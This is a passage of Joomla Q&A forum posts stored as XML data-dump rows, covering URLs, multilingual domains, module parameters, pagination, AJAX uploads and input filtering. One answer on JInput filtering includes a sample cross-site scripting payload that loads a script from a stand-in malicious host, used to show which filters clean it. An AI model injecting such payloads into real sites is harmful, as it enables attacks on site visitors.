to be edited by multiple users.&lt;/p&gt;&#xA;" OwnerUserId="2078" LastEditorUserId="2078" LastEditDate="2014-11-20T23:13:29.083" LastActivityDate="2014-11-20T23:13:29.083" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5322" PostTypeId="2" ParentId="4340" CreationDate="2014-11-20T19:55:59.783" Score="1" Body="&lt;p&gt;I have come across similar things before. The way I fixed this was to log out and clear my browser cache. Them, try logging back in and accessing the article(s) in question.&lt;/p&gt;&#xA;" OwnerUserId="387" LastActivityDate="2014-11-20T19:55:59.783" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5323" PostTypeId="2" ParentId="4340" CreationDate="2014-11-20T21:04:00.800" Score="0" Body="&lt;p&gt;As a general advise when someone encounters such issues, is to make sure that the Joomla core and all third party extensions are up-to-date. Especially old short-term versions that were not meant for production sites, or are well-known for their buggy behavior and actually they no more receive support. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also when considering updates, always have backups (tested that work) in place, and it's an all-time recommendation to always test the updates in a dev (testing) version of your website first.&lt;/p&gt;&#xA;" OwnerUserId="126" LastActivityDate="2014-11-20T21:04:00.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5324" PostTypeId="1" CreationDate="2014-11-21T01:17:51.440" Score="-2" ViewCount="957" Body="&lt;p&gt;I am trying to access files via relative or absolute URL from within Joomla article&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, inside the article, the following path works:&#xA;d3.json(&quot;../../example.php&quot;, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but the following relative path does NOT:&#xA;d3.json(&quot;../../php/example.php&quot;, ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the following absolute path does NOT:&#xA;d3.json(&quot;/php/example.php&quot;, ...&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Folder structure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/html/Joomla/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;contains:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file: configuration.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;file: example.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;folder: php (which also contains example.php)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, Joomla thinks I am 2 folders down from location of configuration.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and the only location I can access files from is /html/Joomla/ (no subfolders)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;please advise the path I should enter to access other locations such as&#xA;/html/Joomla/php/example.php or /html/Joomla/php/examples/example.php&lt;/p&gt;&#xA;" OwnerUserId="2229" LastActivityDate="2014-11-21T02:04:28.820" Title="Joomla files via relative URL - unable to access" Tags="|joomla-3.x|url|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5325" PostTypeId="2" ParentId="5324" CreationDate="2014-11-21T02:04:28.820" Score="2" Body="&lt;p&gt;First off, what these files being referenced are used for is critical to the answer.  For instance, if you're making an AJAX call and expect the destination PHP to have access to core Joomla methods and data simply by referencing the file directly will not work as the joomla framework isn't bootstrap'd unless you go through the MVC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can show you how to properly reference the files needed, but without knowing the context of how they are being used does not guaranteed the proper path/url will resolve the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, Joomla has predefined constants for paths and a static helper class for URLS to help you construct links in your code.   In addition,  I would always reference files using the full path or URL to ensure the directing your code is referencing is correct. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For URLS use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$url = JRoute::_(JUri::root() . 'path/from/website/root/example.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For directory paths use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$path = JPATH_ROOT . '/path/from/website/root/example.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps! &lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2014-11-21T02:04:28.820" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5326" PostTypeId="1" CreationDate="2014-11-21T02:09:49.347" Score="2" ViewCount="1581" Body="&lt;p&gt;I have a multilingual joomla site setup and would like to use a different domain for each language. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of &quot;englishsite.com/en/&quot; and &quot;englishsite.com/fr/&quot;,&#xA;I would get &quot;englishsite.com/&quot; and &quot;frenchsite.com/&quot;. &#xA;And the domains and language would switch with the Joomla language switcher module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could this be done with Chameleon component, or .htaccess redirects?&#xA;Should I use something like Falang for translations instead of Joomla Core setup?&lt;/p&gt;&#xA;" OwnerUserId="2230" LastActivityDate="2018-11-23T04:33:43.573" Title="Multilingual site and domains" Tags="|.htaccess-configuration|url|multilingual|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5327" PostTypeId="2" ParentId="4726" CreationDate="2014-11-21T02:51:06.933" Score="5" Body="&lt;p&gt;My version of Implementation would be...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Client:-&lt;/strong&gt; Just give each subscribed user a unique(secret) key and simply pass that as GET variable when checking for new updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Server:-&lt;/strong&gt; Likewise, just check the incoming requests for that variable, and match it with a database, &lt;code&gt;cool? allow : deny;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Misuse:-&lt;/strong&gt; Keep a record of each key being used, and set a no of feasible requests allowed, beyond which just flag that key and its user as suspecious, then do whatever what you think of doing like, warning that user, blocking is for sometime, or just plain subscription termination...etc the possibilities are endless.&lt;/p&gt;&#xA;" OwnerUserId="1761" LastActivityDate="2014-11-21T02:51:06.933" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5328" PostTypeId="2" ParentId="5326" CreationDate="2014-11-21T03:01:20.100" Score="2" Body="&lt;p&gt;(I'm not familiar with &lt;a href=&quot;http://extensions.joomla.org/extensions/style-a-design/templating/11173&quot; rel=&quot;nofollow noreferrer&quot;&gt;Chameleon&lt;/a&gt;, but from what I see after a quick look, you could be able to make it work.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the Joomla Documentation has an &lt;a href=&quot;http://docs.joomla.org/Multiple_Domains_and_Web_Sites_in_a_single_Joomla!_installation&quot; rel=&quot;nofollow noreferrer&quot;&gt;article regarding a similar example&lt;/a&gt;, with a couple of different approaches. You should take a look at it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following should work, although I haven't tested it (based on option #3 from the link above):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, you set up your cPanel with a main domain (&lt;code&gt;englishsite.com&lt;/code&gt;) and an addon domain (&lt;code&gt;frenchsite.com&lt;/code&gt;). Then you could tweak the following code to fit your needs, and add it to your templates &lt;code&gt;index.php&lt;/code&gt; AT THE VERY BEGINNING:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$domain = $_SERVER[&quot;SERVER_NAME&quot;];&#xA;$requri = $_SERVER['REQUEST_URI'];&#xA;if (($domain == &quot;www.englishsite.com&quot; &amp;amp;&amp;amp; $requri == &quot;/&quot; || &#xA;   $domain == &quot;englishsite.com&quot;))  { &#xA;   header(&quot;Status: 301 Moved Permanently&quot;);&#xA;   header(&quot;Location: http://www.englishsite.com/en&quot;); &#xA;}&#xA;if (($domain == &quot;www.frenchsite.com&quot; &amp;amp;&amp;amp; $requri == &quot;/&quot; || &#xA;   $domain == &quot;frenchsite.com&quot;))  { &#xA;   header(&quot;Status: 301 Moved Permanently&quot;);&#xA;   header(&quot;Location: http://www.frenchsite.com/fr&quot;); &#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make sure you enable SEF urls for your site (Global Configuration -&gt; SEO settings). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, go to the plugin manager and locate the plugin &lt;code&gt;System - Language Filter&lt;/code&gt;. In the plugin settings, set &quot;Remove URL Language Code&quot; to Yes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NzIL0.jpg&quot; alt=&quot;Language Filter plugin&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-21T03:01:20.100" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5329" PostTypeId="1" CreationDate="2014-11-21T07:43:43.410" Score="1" ViewCount="1247" Body="&lt;p&gt;Wordpress guy attempting to help out a client with a Joomla project he's stuck on (favor time basically), and I'm hitting a wall. I believe I'm doing my select correctly, and get no &quot;blank page&quot; errors as a typo would give. Instead, I'm just getting an empty array. No results returned, but I believe there to be.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$db = JFactory::getDbo();&#xA;&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;&#xA;$query-&amp;gt;select($db-&amp;gt;quoteName(array('id', 'video_title')));&#xA;$query-&amp;gt;from($db-&amp;gt;quoteName('#__films_videos'));&#xA;&#xA;$db-&amp;gt;setQuery($query);&#xA;$results = $db-&amp;gt;loadObjectList();&#xA;&#xA;if($results) {&#xA;    print_r($results);&#xA;}else{&#xA;    echo '&amp;lt;pre&amp;gt;Oops! No results  :(&amp;lt;/pre&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm rather new to Joomla, but I understand databases pretty well after 14 years of custom web development &amp;amp; Wordpress experience. Just not sure where I'm tripping up. Any ideas? I keep triggering the &lt;code&gt;else&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;films_videos&lt;/code&gt; is indeed the name of our module, and no Joomla errors present themselves in the output of a page load.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2014-11-21T22:56:40.283" Title="Empty result when selecting" Tags="|joomla-3.x|database|jfactory|" AnswerCount="1" CommentCount="4" ClosedDate="2014-11-23T15:24:02.210" ContentLicense="CC BY-SA 3.0" />
  <row Id="5330" PostTypeId="1" AcceptedAnswerId="5332" CreationDate="2014-11-21T09:07:44.470" Score="1" ViewCount="506" Body="&lt;p&gt;I want to make a small edit in an existing module. That module parses articles from the given categories and post them at index. I wanted to add another element (ID) so the user could give the id from an article that isn't in a category and post that Also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm completely new to module development and even the easiest task seems really complex for me right now. So I created the text field at my XML manifest file, and I can add a value and here comes my question/s.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I'm not mistaken the list type fields are getting saved somewhere in the db and you can retrieve them calling as a list that has default elements.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$params = JFactory::getApplication()-&amp;gt;getParams();&#xA;$model-&amp;gt;setState('params', $appParams);&#xA;$modell-&amp;gt;setState('list.start');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It maybe sounds dumb but I didn't find anything about text fields. Or maybe I didn't understand it. So I would like someone to enlighten me on how we generally retrieve the  values user gives at backend so we can echo em at frontend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And also if someone could recommend me a book or something that could help me with Joomla module development (I tried Joomla Development A beginners Guide by Hagen Graf and Learning Joomla 3 Extension Development 3rd Edition, but they didn't help me a lot as you can see).&lt;/p&gt;&#xA;" OwnerUserId="2225" LastEditorDisplayName="user3831" LastEditDate="2016-10-05T22:40:39.920" LastActivityDate="2016-10-05T22:40:39.920" Title="How to parse the values from backend and post them at frontend" Tags="|joomla-2.5|development|module|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5331" PostTypeId="2" ParentId="5330" CreationDate="2014-11-21T09:19:07.027" Score="1" Body="&lt;p&gt;You can refer below links for module development.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5:Creating_a_simple_module/Developing_a_Basic_Module&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing a Basic Module&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5:Creating_a_simple_module/Using_the_Database&quot; rel=&quot;nofollow noreferrer&quot;&gt;Using Database&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/J2.5:Creating_a_simple_module/Adding_Form_Fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;Adding form fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="396" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2014-11-21T09:19:07.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5332" PostTypeId="2" ParentId="5330" CreationDate="2014-11-21T09:44:48.327" Score="1" Body="&lt;p&gt;Nick gave you the right direction - &lt;a href=&quot;http://docs.joomla.org/J2.5:Creating_a_simple_module/Adding_Form_Fields&quot; rel=&quot;nofollow&quot;&gt;Adding form fields&lt;/a&gt; is exactly what you need. May be you missed some points from this doc:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Form fields and parameters can be found on &lt;a href=&quot;http://docs.joomla.org/Standard_form_field_and_parameter_types&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; (&lt;a href=&quot;http://docs.joomla.org/Text_form_field_type&quot; rel=&quot;nofollow&quot;&gt;text&lt;/a&gt; is also there)&lt;/li&gt;&#xA;&lt;li&gt;The form field parameters are stored for each module in the &lt;code&gt;#__modules&lt;/code&gt; table under the &lt;code&gt;params&lt;/code&gt; field as JSON encoded string&lt;/li&gt;&#xA;&lt;li&gt;You can retrieve the parameter via &lt;code&gt;$params&lt;/code&gt; variable (it's a &lt;a href=&quot;http://api.joomla.org/cms-3/classes/Joomla.Registry.Registry.html&quot; rel=&quot;nofollow&quot;&gt;Registry&lt;/a&gt; object). For example: &lt;code&gt;$myParam = $params-&amp;gt;get('my_param', '1')&lt;/code&gt; where &lt;code&gt;my_param&lt;/code&gt; is the name of the field in your manifest file and &lt;code&gt;'1'&lt;/code&gt; is the default value.&lt;/li&gt;&#xA;&lt;li&gt;You can pass the &lt;code&gt;$params&lt;/code&gt; to modules helper and use it there&lt;/li&gt;&#xA;&lt;li&gt;The examples of &lt;code&gt;$params&lt;/code&gt; usage can be found in any Joomla standard module&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-11-21T09:44:48.327" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5333" PostTypeId="1" AcceptedAnswerId="5362" CreationDate="2014-11-21T16:16:32.107" Score="7" ViewCount="392" Body="&lt;p&gt;Default core's com_content has a built in system that, when a specific article is being edited by a user, it gets &quot;locked&quot;, so no other user can edit it at the same time. If the user closes the window or lets the session expire without properly closing that article (clicking on &quot;save&quot; or &quot;cancel&quot;, for example), that content gets &quot;checked&quot; and a lock icon is displayed in the backend next to it, which a superadmin will have to unlock.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;My question is&lt;/strong&gt;: how is that added to a custom component that has its own content tables? As far as I've been able to find, it looks to me that as long as you use JTable to manipulate that content, then that comes as a built-in feature for methods in that class... is that right? Or do I need to use something else like JTableContent? Do I need to add something to the tables used to store content (any specific columns)?&lt;/p&gt;&#xA;" OwnerUserId="1504" LastEditorUserId="1504" LastEditDate="2014-12-02T19:45:59.937" LastActivityDate="2014-12-02T19:45:59.937" Title="How is content &quot;locking&quot; handled in custom components?" Tags="|joomla-3.x|development|content|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5334" PostTypeId="1" CreationDate="2014-11-21T16:24:49.537" Score="3" ViewCount="2117" Body="&lt;p&gt;In the extension I have used a date field, with the Field Type of Calendar (this uses the Joomla Date selector). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, the date is being formatted to YYYY-MM-DD. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="159" LastEditDate="2014-11-23T15:26:45.920" LastActivityDate="2015-01-22T16:46:31.560" Title="How the change the date format when using the Calendar field type?" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5335" PostTypeId="2" ParentId="5333" CreationDate="2014-11-21T16:25:52.117" Score="2" Body="&lt;p&gt;You're correct in your assumptions.  You need the table set up with associated logic to accomplish what you're trying to do.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I am learning Joomla 3+, I've been using &lt;a href=&quot;http://component-creator.com&quot; rel=&quot;nofollow&quot;&gt;Component Creator&lt;/a&gt; to create an extremely simple component with a single table and just the Joomla feature I'm interested in learning.  The generated code is very good, and is easy to follow without all the complexities of the usual components installed.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-11-21T16:25:52.117" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5336" PostTypeId="2" ParentId="5334" CreationDate="2014-11-21T16:28:30.397" Score="1" Body="&lt;p&gt;To change the way the date is formatted, you simply ass the &lt;code&gt;format&lt;/code&gt; attribute to the field. As you want to change it to &lt;code&gt;DD-MM-YY&lt;/code&gt;, you can use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;calendar&quot;&#xA;    type=&quot;calendar&quot; &#xA;    label=&quot;Select Date&quot;&#xA;    default=&quot;21-11-2014&quot;&#xA;    format=&quot;%d-%m-%Y&quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more information on the calendar field type, please have a look at the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.joomla.org/Calendar_form_field_type&quot; rel=&quot;nofollow&quot;&gt;http://docs.joomla.org/Calendar_form_field_type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-11-21T16:28:30.397" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="5337" PostTypeId="1" CreationDate="2014-11-21T17:35:37.760" Score="7" ViewCount="1579" Body="&lt;p&gt;I am trying to override the standard Joomla pagination. Instead of showing 10 links then the next / end links, I would like to show 20 links up front.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2235" LastActivityDate="2014-11-22T00:07:13.920" Title="Joomla 3 - Pagination limit" Tags="|joomla-3.x|pagination|" AnswerCount="1" CommentCount="1" ClosedDate="2014-11-23T15:21:47.477" ContentLicense="CC BY-SA 3.0" />
  <row Id="5338" PostTypeId="1" AcceptedAnswerId="5390" CreationDate="2014-11-21T21:22:46.307" Score="3" ViewCount="607" Body="&lt;p&gt;Using the Joomla built-in banner component, is it possible to have more than one link in a banner?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add a &quot;disclaimer link&quot; to some of my banners. Say my ad looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5PkQU.jpg&quot; alt=&quot;Example banner&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like the blue part to be the main link, and the red part to link to a PDF with additional information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far I've done it using custom code and an image map:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img id=&quot;myID&quot; src=&quot;url/to/banner.jpg&quot; border=&quot;0&quot; width=&quot;250&quot; height=&quot;250&quot; usemap=&quot;#myMap&quot; alt=&quot;&quot; /&amp;gt;&#xA;&amp;lt;map name=&quot;myMap&quot; id=&quot;myID&quot;&amp;gt;&#xA;&amp;lt;area href=&quot;http://mainlink.com&quot; shape=&quot;rect&quot; coords=&quot;0,0,217,250&quot;  target=&quot;_blank&quot;     /&amp;gt;&#xA;&amp;lt;area href=&quot;http://disclaimer.com&quot; shape=&quot;rect&quot; coords=&quot;0,217,250,250&quot; target=&quot;_blank&quot;     /&amp;gt;&#xA;&amp;lt;/map&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works, but it doesn't look like the clicks are tracked by Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other ideas on how to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-12-24T14:52:59.103" Title="Banner with multiple links" Tags="|joomla-3.x|joomla-2.5|com-banners|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5339" PostTypeId="2" ParentId="5329" CreationDate="2014-11-21T22:56:40.283" Score="1" Body="&lt;p&gt;Long story short, the client had several components similarly named and I wasn't aware that was happening. I was calling against the wrong database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for the answer, and everybody was correct. I knew somehow something was &quot;off&quot;!&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2014-11-21T22:56:40.283" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5341" PostTypeId="2" ParentId="5337" CreationDate="2014-11-22T00:07:13.920" Score="2" Body="&lt;p&gt;This is only a partial answer, because it is a core hack and not recommended. Maybe someone can fill in on how to make a proper override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file &lt;code&gt;ROOT\libraries\cms\pagination\pagination.php&lt;/code&gt;, look for &lt;code&gt;$displayedPages = 10;&lt;/code&gt; (about line #130), and change it to &lt;code&gt;$displayedPages = 20;&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As this is a core hack, it will be overridden whenever you update Joomla, and you'll have to apply it again.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-11-22T00:07:13.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5342" PostTypeId="1" CreationDate="2014-11-22T01:31:06.067" Score="2" ViewCount="2141" Body="&lt;p&gt;I am trying to upload a image using AJAX jquery in a Joomla MVC framework.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is the default.php which adds the below javascript script code &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#icon-submit').on('click',(function(e) {&#xA;e.preventDefault();&#xA;var formData = new FormData($(this).closest('form')[0]));&#xA;  $.ajax({&#xA;    url: &quot;index.php?option=com_jsmdownload&amp;amp;task=imageUpload&quot;,&#xA;    type: &quot;POST&quot;,&#xA;    data:  new FormData(formData),&#xA;    contentType: false,&#xA;    cache: false,&#xA;    processData:false,&#xA;    success: function(data){&#xA;      alert(data);&#xA;    },&#xA;    error: function(){&#xA;    }&#xA;  });&#xA;}));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is the HTML code which contains a simple file box and a button&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php'); ?&amp;gt;&quot; method=&quot;POST&quot; name=&quot;adminForm&quot; id=&quot;adminForm&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;&#xA;  &amp;lt;input type=&quot;file&quot; id=&quot;and_36x36&quot; name=&quot;and_36x36&quot;&amp;gt;&#xA;  &amp;lt;input id='icon-submit' type='button' value='Next -&amp;gt;' /&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is the PHP code in controller.php for the imageUpload task.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function imageUpload(){&#xA;  JFactory::getDocument()-&amp;gt;setMimeEncoding( 'application/json' );&#xA;  print_r($_FILES);&#xA;  JFactory::getApplication()-&amp;gt;close();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once I select the file and click on the button the PHP function is not yet calling and I only see the below output&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Dwo77.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I dont know what I am doing wrong.  I want to get the selected file and upload them into the server and return back to the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I referred multiple posts and cant able to find an answer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One observation is that if I change the URL to a plain PHP file without importing the Joomla MVC then it works fine and I could see the below output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SpYdu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Only problem is if I link to a component view then it doesn't called.  Need some advice to fix this.&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2014-11-22T12:57:21.537" Title="Upload image using AJAX in Joomla 3.0 MVC" Tags="|joomla-3.x|jquery|ajax|" AnswerCount="1" CommentCount="0" ClosedDate="2014-11-22T15:43:16.817" ContentLicense="CC BY-SA 3.0" />
  <row Id="5344" PostTypeId="2" ParentId="5210" CreationDate="2014-11-22T11:52:24.810" Score="8" Body="&lt;p&gt;OK, so let us look at what options are available. The examples below are using JInput and have been tested in Joomla 3.3. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am &lt;strong&gt;POSTing the following data&lt;/strong&gt; at Joomla:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;stuff[abc]=1&#xA;stuff[def]=75&#xA;stuff[123]=&amp;lt;script src=&quot;http://imanaughtysite.com/muahahaha.js&quot;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to get a clean array of integers, &lt;strong&gt;so the expected result is:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$expectedResult = array(&#xA;    'abc' =&amp;gt; 1,&#xA;    'def' =&amp;gt; 75,&#xA;    '123' =&amp;gt; 0,&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Option 1 - JInput::get() with ARRAY filter&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$a1 = $app-&amp;gt;input-&amp;gt;get('stuff', array(), 'ARRAY');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (size=3)&#xA;  'abc' =&amp;gt; string '1' (length=1)&#xA;  'def' =&amp;gt; string '75' (length=2)&#xA;  123 =&amp;gt; string '&amp;lt;script src=&quot;http://imanaughtysite.com/muahahaha.js&quot;/&amp;gt;' (length=54)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;BAD IDEA&lt;/strong&gt; - as you can see, we are getting our data, but it not filtered / cleaned at all! &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Option 2 - JInput::getArray() on post&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$a2 = $app-&amp;gt;input-&amp;gt;post-&amp;gt;getArray();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (size=1)&#xA;  'stuff' =&amp;gt; &#xA;    array (size=3)&#xA;      'abc' =&amp;gt; string '1' (length=1)&#xA;      'def' =&amp;gt; string '75' (length=2)&#xA;      123 =&amp;gt; string '' (length=0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now we have the whole POST array, cleaned. But it is more information that we wanted and it is still not an array of integers.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Option 3 - JInput::getArray() specifying expected parameters and their respective filter:&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$a3 = $app-&amp;gt;input-&amp;gt;getArray(array(&#xA;    'stuff' =&amp;gt; array(&#xA;        'abc' =&amp;gt; 'INT',&#xA;        'def' =&amp;gt; 'INT',&#xA;        '123' =&amp;gt; 'INT'&#xA;    )&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (size=1)&#xA;  'stuff' =&amp;gt; &#xA;    array (size=3)&#xA;      'abc' =&amp;gt; int 1&#xA;      'def' =&amp;gt; int 75&#xA;      123 =&amp;gt; int 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is actually the first version that provides what we need. We can individually specify the filter and get the result. &lt;code&gt;stuff&lt;/code&gt; needs to be extracted from the resulting array and with a PHP function like &lt;code&gt;array_values&lt;/code&gt; we can also extract just the values, resetting the keys.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Option 4 - Improving 